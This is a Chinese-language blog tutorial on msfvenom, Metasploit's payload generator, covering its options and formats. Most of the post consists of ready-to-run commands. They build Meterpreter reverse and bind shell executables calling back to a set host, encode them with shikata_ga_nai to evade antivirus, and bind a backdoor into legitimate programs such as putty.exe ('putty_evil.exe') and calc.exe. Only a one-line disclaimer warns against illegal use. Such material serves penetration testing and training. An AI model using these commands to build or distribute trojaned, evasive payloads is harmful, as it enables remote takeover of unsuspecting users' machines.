本文最后更新于:2019 , 八月 19日 星期一, 9:04 晚上
简介
msfvenom 是msf框架配套的攻击载荷生成器
什么是攻击载荷: payload
目标系统上渗透成功后执行的代码
msfvenom命令行选项如下
本文仅提供技术参考,请勿用作非法用途,一旦发生后果自负!作者概不负责
-p 自定义有效载荷
查看全部有效载荷
msfvenom -l payload
查看windows/meterpreter/下的的攻击载荷
locate windows/meterpreter
指定有效载荷
msfvenom -p windows/meterpreter/reverse_tcp
-l 载荷列表
模块类型包括:payloads
,encoders
,nps
,all
查看所有
msfvenom -l
-f 生成文件的格式
指定.exe
为有效载荷的格式
msfvenom -p windows/meterpreter/bind_tcp -f exe
看支持哪些格式
Error: Executable formats
asp, aspx, aspx-exe, dll, elf, elf-so,
exe, exe-only, exe-service, exe-small, hta-psh,
loop-vbs, macho, msi, msi-nouac, osx-app, psh,
psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le,
num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
正常情况下使用
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f exe -o /tmp/x.exe
-a 选择架构平台
–a (–platform)
–arch
x86 | x64 | x86_64
--platform
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi
netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-e 免杀编码
查看编码的方法
msfvenom -l encoders
使用例子
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
-n 空字段模块/为了绕过和免杀
查看nops选项
msfvenom -l npos
-s 生成payload的文件大小
msfvenom -p windows/meterpreter/reverse_tcp --arch x86 --platform windows -s 8000 -i 20 lhost=192.168.1.1 lport=6666 -f.exe > ./x.exe
-o 文件输出
-o 输出参数可以用>
号代替
-f 指定格式参数可以用单个大写字母代替:
[H]arp
[P]erl
Rub[Y]
[R]aw
[J]s
e[X]e
[D]ll
[V]BA
[W]ar
Pytho[N]
将payload注入到putty中,并编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -x /root/下载/putty.exe -k -f exe -o /root/桌面/putty_evil.exe
-b 避免使用的字符
避免出现坏字符,msfvenom会自动找到一个合适的编辑器的有效载荷进行编码
例如
msfvenom -p windows/meterpreter/bind_tcp -b ‘\x00’ -f raw
-c 添加自己的shellcode
-c 自己编写的shellcode文件绝对路径
-i 编码次数
迭代编码也许会有规避杀毒软件的作用,但这不是真正的免杀。
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
-x | -k 捆绑
原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面
-x
指定一个exe文件作为模板-k
保护模板程序的功能,注入的payload作为一个新的进程运行,一般只在老程序中有效
例如:windows xp
msfvenom使用的模板文件保存在目录msf/data/templates
(模板文件=宿主文件=自定义的可执行文件)
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
-x calc.exe 捆绑payload到 正常文件
使用windows下的calc.exe作为模板文件,生成payload
也可以使用自己自定义的可执行文件
-x 可执行文件绝对路径
-h 帮助
msfvenom -h
参考链接
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
http://blog.csdn.net/lzhd24/article/details/50664342
http://mp.weixin.qq.com/s?__biz=MzA4NDk5NTYwNw==&mid=2651425199&idx=1&sn=9032db8ea0d6484b072ae72adca859c6&chksm=842392d7b3541bc1ff1f1e9e03c3a918b2aee9b555cd5c3c27bfb72dcd0f066e1325020d506f&mpshare=1&scene=23&srcid=03179H3uWCT5qy3q4cZ3hsF0#rd